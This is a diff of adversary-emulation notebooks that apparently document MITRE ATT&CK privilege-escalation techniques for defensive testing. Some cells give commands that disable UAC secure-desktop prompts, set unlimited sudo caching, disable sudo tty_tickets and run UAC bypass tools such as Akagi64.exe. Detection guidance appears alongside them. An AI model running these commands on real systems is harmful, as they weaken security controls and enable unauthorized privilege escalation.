{}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 17 -GetPreReqs" }, { "cell_type": "markdown", - "id": "d1d40197", + "id": "1df647a0", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\n\"%temp%\\uacme\\61 Akagi64.exe\"\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\61 Akagi64.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "ceea8317", + "id": "f7d5eca8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 17" }, { "cell_type": "markdown", - "id": "816ddcd7", + "id": "bdc1005e", "metadata": {}, "source": "#### Cleanup: \n```cmd\npowershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "367d05cc", + "id": "0ffa6924", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 17 -Cleanup" }, { "cell_type": "markdown", - "id": "46707a96", + "id": "4eaae89e", "metadata": {}, "source": [ "### Atomic Test #18 - WinPwn - UAC Magic", @@ -682,14 +682,14 @@ { "cell_type": "code", "execution_count": null, - "id": "ec397691", + "id": "91949d6b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 18" }, { "cell_type": "markdown", - "id": "e8ce808e", + "id": "05ce4f72", "metadata": {}, "source": [ "### Atomic Test #19 - WinPwn - UAC Bypass ccmstp technique", @@ -702,14 +702,14 @@ { "cell_type": "code", "execution_count": null, - "id": "e806956f", + "id": "936b77e8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 19" }, { "cell_type": "markdown", - "id": "52c733f2", + "id": "f64c9334", "metadata": {}, "source": [ "### Atomic Test #20 - WinPwn - UAC Bypass DiskCleanup technique", @@ -722,14 +722,14 @@ { "cell_type": "code", "execution_count": null, - "id": "e147368e", + "id": "607dfbae", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 20" }, { "cell_type": "markdown", - "id": "38872ffd", + "id": "413dc20d", "metadata": {}, "source": [ "### Atomic Test #21 - WinPwn - UAC Bypass DccwBypassUAC technique", @@ -742,14 +742,14 @@ { "cell_type": "code", "execution_count": null, - "id": "117b01f2", + "id": "d44bd5a6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 21" }, { "cell_type": "markdown", - "id": "9a66371d", + "id": "3ded5e74", "metadata": {}, "source": [ "### Atomic Test #22 - Disable UAC admin consent prompt via ConsentPromptBehaviorAdmin registry key", @@ -763,28 +763,28 @@ { "cell_type": "code", "execution_count": null, - "id": "97d159ce", + "id": "ee3c1361", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 22" }, { "cell_type": "markdown", - "id": "0b8d85d8", + "id": "58b82ca3", "metadata": {}, "source": "#### Cleanup: \n```powershell\nSet-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name ConsentPromptBehaviorAdmin -Value $orgValue -Type Dword -Force\n```" }, { "cell_type": "code", "execution_count": null, - "id": "61f781ff", + "id": "73635844", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 22 -Cleanup" }, { "cell_type": "markdown", - "id": "9f478846", + "id": "d232d1d7", "metadata": {}, "source": [ "### Atomic Test #23 - UAC Bypass with WSReset Registry Modification", @@ -797,28 +797,63 @@ { "cell_type": "code", "execution_count": null, - "id": "44c194b2", + "id": "1d7608ea", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 23" }, { "cell_type": "markdown", - "id": "af33721b", + "id": "88172af7", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item HKCU:\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command -Recurse -Force\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c39d4b39", + "id": "74593f4b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 23 -Cleanup" }, { "cell_type": "markdown", - "id": "ebe6ac5e", + "id": "355cb435", + "metadata": {}, + "source": [ + "### Atomic Test #24 - Disable UAC - Switch to the secure desktop when prompting for elevation via registry key", + "User Account Control (UAC) is a security mechanism for limiting the elevation of privileges, including administrative accounts, unless authorized. \nThis setting ensures that the elevation prompt is only used in secure desktop mode.\nDisable User Account Conrol (UAC) for secure desktop by setting the registry key HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\PromptOnSecureDesktop to 0.\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nSet-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name PromptOnSecureDesktop -Value 0 -Type Dword -Force```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "8c89c25b", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.002 -TestNumbers 24" + }, + { + "cell_type": "markdown", + "id": "33153f55", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nSet-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name PromptOnSecureDesktop -Value 1 -Type Dword -Force\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e6ea087f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.002 -TestNumbers 24 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "e7250e62", "metadata": {}, "source": "## Detection\nThere are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command Registry key.(Citation: enigma0x3 Fileless UAC Bypass)\n\n* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe and [HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes." } @@ -826,13 +861,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1548.003.ipynb b/playbook/tactics/privilege-escalation/T1548.003.ipynb index 593d4c35..5e7cf8a3 100644 --- a/playbook/tactics/privilege-escalation/T1548.003.ipynb +++ b/playbook/tactics/privilege-escalation/T1548.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "e1c10f2b", + "id": "cd211a1c", "metadata": {}, "source": "# T1548.003 - Sudo and Sudo Caching\nAdversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default." }, { "cell_type": "markdown", - "id": "350945fb", + "id": "85ab5d8f", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "eb9c8339", + "id": "fb2b0e4c", "metadata": {}, "source": [ "### Atomic Test #1 - Sudo usage", @@ -28,17 +28,48 @@ { "cell_type": "code", "execution_count": null, - "id": "23d276ab", + "id": "721c2cfe", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "e3109d2a", + "id": "3a4ee47b", + "metadata": {}, + "source": "### Atomic Test #2 - Sudo usage (freebsd)\nCommon Sudo enumeration methods.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if sudo is installed.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v sudo)\" ]; then exit 1; else exit 0; fi;\n\n```\n##### Get Prereq Commands:\n```sh\n(which pkg && pkg install -y sudo)\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "20fe4d36", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.003 -TestNumbers 2 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "041671d4", "metadata": {}, "source": [ - "### Atomic Test #2 - Unlimited sudo cache timeout", + "#### Attack Commands: Run with `sh`\n", + "```sh\nsudo -l \nsudo cat /usr/local/etc/sudoers\nsudo ee /usr/local/etc/sudoers\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f2ab9dd4", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.003 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "4345696d", + "metadata": {}, + "source": [ + "### Atomic Test #3 - Unlimited sudo cache timeout", "Sets sudo caching timestamp_timeout to a value for unlimited. This is dangerous to modify without using 'visudo', do not do this on a production system.\n", "**Supported Platforms:** macos, linux", "\nElevation Required (e.g. root or admin)", @@ -49,35 +80,97 @@ { "cell_type": "code", "execution_count": null, - "id": "2db59b3e", + "id": "fb129cce", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1548.003 -TestNumbers 2" + "source": "Invoke-AtomicTest T1548.003 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "1484e783", + "metadata": {}, + "source": "### Atomic Test #4 - Unlimited sudo cache timeout (freebsd)\nSets sudo caching timestamp_timeout to a value for unlimited. This is dangerous to modify without using 'visudo', do not do this on a production system.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if sudo is installed.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v sudo)\" ]; then exit 1; else exit 0; fi;\n\n```\n##### Get Prereq Commands:\n```sh\n(which pkg && pkg install -y sudo)\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "512426d5", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.003 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "967086d8", + "id": "c2147179", "metadata": {}, "source": [ - "### Atomic Test #3 - Disable tty_tickets for sudo caching", + "#### Attack Commands: Run with `sh`\n", + "```sh\nsudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /usr/local/etc/sudoers\nsudo visudo -c -f /usr/local/etc/sudoers\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "804101f3", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.003 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "64706e44", + "metadata": {}, + "source": [ + "### Atomic Test #5 - Disable tty_tickets for sudo caching", "Sets sudo caching tty_tickets value to disabled. This is dangerous to modify without using 'visudo', do not do this on a production system.\n", "**Supported Platforms:** macos, linux", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `sh`\n", - "```sh\nsudo sh -c \"echo Defaults \"'!'\"tty_tickets >> /etc/sudoers\"\nsudo visudo -c -f /etc/sudoers```" + "```sh\nsudo sh -c \"echo Defaults \"'!'\"tty_tickets >> /etc/sudoers\"\nsudo visudo -c -f /etc/sudoers\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "246d36f4", + "id": "5661ff90", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1548.003 -TestNumbers 3" + "source": "Invoke-AtomicTest T1548.003 -TestNumbers 5" + }, + { + "cell_type": "markdown", + "id": "1b16fb17", + "metadata": {}, + "source": "### Atomic Test #6 - Disable tty_tickets for sudo caching (freebsd)\nSets sudo caching tty_tickets value to disabled. This is dangerous to modify without using 'visudo', do not do this on a production system.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if sudo is installed.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v sudo)\" ]; then exit 1; else exit 0; fi;\n\n```\n##### Get Prereq Commands:\n```sh\n(which pkg && pkg install -y sudo)\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7cfffd39", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.003 -TestNumbers 6 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "6aac2551", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nsudo sh -c \"echo Defaults \"'!'\"tty_tickets >> /usr/local/etc/sudoers\"\nsudo visudo -c -f /usr/local/etc/sudoers\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "97e2aa6c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.003 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "6bbf243d", + "id": "917caf83", "metadata": {}, "source": "## Detection\nOn Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file." } @@ -85,13 +178,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1548.004.ipynb b/playbook/tactics/privilege-escalation/T1548.004.ipynb index 8a8f85bf..b5b822b3 100644 --- a/playbook/tactics/privilege-escalation/T1548.004.ipynb +++ b/playbook/tactics/privilege-escalation/T1548.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "1991a2eb", + "id": "5511e288", "metadata": {}, "source": "# T1548.004 - Elevated Execution with Prompt\nAdversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. \n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)" }, { "cell_type": "markdown", - "id": "7359e3b9", + "id": "a269d7eb", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "7c0f50d3", + "id": "87f74302", "metadata": {}, "source": "## Detection\nConsider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1548.005.ipynb b/playbook/tactics/privilege-escalation/T1548.005.ipynb new file mode 100644 index 00000000..2cec9061 --- /dev/null +++ b/playbook/tactics/privilege-escalation/T1548.005.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "2dddc8f1", + "metadata": {}, + "source": "# T1548.005 - Temporary Elevated Cloud Access\nAdversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources. Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own. \n\nJust-in-time access is a mechanism for granting additional roles to cloud accounts in a granular, temporary manner. This allows accounts to operate with only the permissions they need on a daily basis, and to request additional permissions as necessary. Sometimes just-in-time access requests are configured to require manual approval, while other times the desired permissions are automatically granted.(Citation: Google Cloud Just in Time Access 2023)(Citation: Azure Just in Time Access 2023)\n\nAccount impersonation allows user or service accounts to temporarily act with the permissions of another account. For example, in GCP users with the `iam.serviceAccountTokenCreator` role can create temporary access tokens or sign arbitrary payloads with the permissions of a service account.(Citation: Google Cloud Service Account Authentication Roles) In Exchange Online, the `ApplicationImpersonation` role allows a service account to use the permissions associated with specified user accounts.(Citation: Microsoft Impersonation and EWS in Exchange) \n\nMany cloud environments also include mechanisms for users to pass roles to resources that allow them to perform tasks and authenticate to other services. While the user that creates the resource does not directly assume the role they pass to it, they may still be able to take advantage of the role's access -- for example, by configuring the resource to perform certain actions with the permissions it has been granted. In AWS, users with the `PassRole` permission can allow a service they create to assume a given role, while in GCP, users with the `iam.serviceAccountUser` role can attach a service account to a resource.(Citation: AWS PassRole)(Citation: Google Cloud Service Account Authentication Roles)\n\nWhile users require specific role assignments in order to use any of these features, cloud administrators may misconfigure permissions. This could result in escalation paths that allow adversaries to gain access to resources beyond what was originally intended.(Citation: Rhino Google Cloud Privilege Escalation)(Citation: Rhino Security Labs AWS Privilege Escalation)\n\n**Note:** this technique is distinct from [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003), which involves assigning permanent roles to accounts rather than abusing existing permissions structures to gain temporarily elevated access to resources. However, adversaries that compromise a sufficiently privileged account may grant another account they control [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) that would allow them to also abuse these features. This may also allow for greater stealth than would be had by directly using the highly privileged account, especially when logs do not clarify when role impersonation is taking place.(Citation: CrowdStrike StellarParticle January 2022)" + }, + { + "cell_type": "markdown", + "id": "df478df8", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1548.ipynb b/playbook/tactics/privilege-escalation/T1548.ipynb index 89bea9f4..a5d4839f 100644 --- a/playbook/tactics/privilege-escalation/T1548.ipynb +++ b/playbook/tactics/privilege-escalation/T1548.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "6450f7ba", + "id": "c03be440", "metadata": {}, "source": "# T1548 - Abuse Elevation Control Mechanism\nAdversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system." }, { "cell_type": "markdown", - "id": "6364a738", + "id": "f3055866", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "4059ed11", + "id": "2022a5d1", "metadata": {}, "source": "## Detection\nMonitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\n\nConsider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.\n\nOn Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.\n\nThere are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes." }, { "cell_type": "markdown", - "id": "c6121a81", + "id": "d79f98b1", "metadata": {}, "source": "\n## Shield Active Defense\n### Security Controls \n Alter security controls to make the system more or less vulnerable to attack. \n\n Manipulating security controls involves making configuration changes to the security settings of a system including things like modifying Group Policies, disabling/enabling autorun for removable media, and tightening or relaxing system firewalls, etc.\n#### Opportunity\nThere is an opportunity to use security controls on systems in order to affect the success of an adversary.\n#### Use Case\nA defender could use a host-based tool in order to have an effect on the success of an adversary abusing elevation control mechanisms.\n#### Procedures\nWeaken security controls on a system to allow for leaking of credentials via network connection poisoning.\nImplement policies on a system to prevent the insecure storage of passwords in the registry. This may force an adversary to revert these changes or find another way to access cached credentials.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1574.001.ipynb b/playbook/tactics/privilege-escalation/T1574.001.ipynb index 579f4430..e02e5e03 100644 --- a/playbook/tactics/privilege-escalation/T1574.001.ipynb +++ b/playbook/tactics/privilege-escalation/T1574.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "d35f8964", + "id": "70cf8cde", "metadata": {}, "source": "# T1574.001 - DLL Search Order Hijacking\nAdversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.\n\nThere are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)\n\nAdversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace." }, { "cell_type": "markdown", - "id": "865e3ddf", + "id": "7bfd0398", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "6eba60cb", + "id": "983d1c5d", "metadata": {}, "source": [ "### Atomic Test #1 - DLL Search Order Hijacking - amsi.dll", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "09633eea", + "id": "ef9464ce", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "75434c48", + "id": "fde75daa", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %APPDATA%\\updater.exe >nul 2>&1\ndel %APPDATA%\\amsi.dll >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4a6fdd04", + "id": "0a36f5dc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "cf7e819c", + "id": "8a3e59f9", "metadata": {}, "source": "## Detection\nMonitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious." } @@ -57,13 +57,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1574.002.ipynb b/playbook/tactics/privilege-escalation/T1574.002.ipynb index da35fa13..b578a70d 100644 --- a/playbook/tactics/privilege-escalation/T1574.002.ipynb +++ b/playbook/tactics/privilege-escalation/T1574.002.ipynb @@ -2,109 +2,109 @@ "cells": [ { "cell_type": "markdown", - "id": "890c0efc", + "id": "76e6eade", "metadata": {}, "source": "# T1574.002 - DLL Side-Loading\nAdversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).\n\nSide-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)" }, { "cell_type": "markdown", - "id": "6d8e9d03", + "id": "6e3703c3", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "7bed58d7", + "id": "c9813157", "metadata": {}, - "source": "### Atomic Test #1 - DLL Side-Loading using the Notepad++ GUP.exe binary\nGUP is an open source signed binary used by Notepad++ for software updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl dll to be loaded.\nUpon execution, calc.exe will be opened.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Gup.exe binary must exist on disk at specified location (#{gup_executable})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1574.002\\bin\\GUP.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1574.002\\bin\\GUP.exe) -ErrorAction ignore | Out-Null\nInvoke-WebRequest 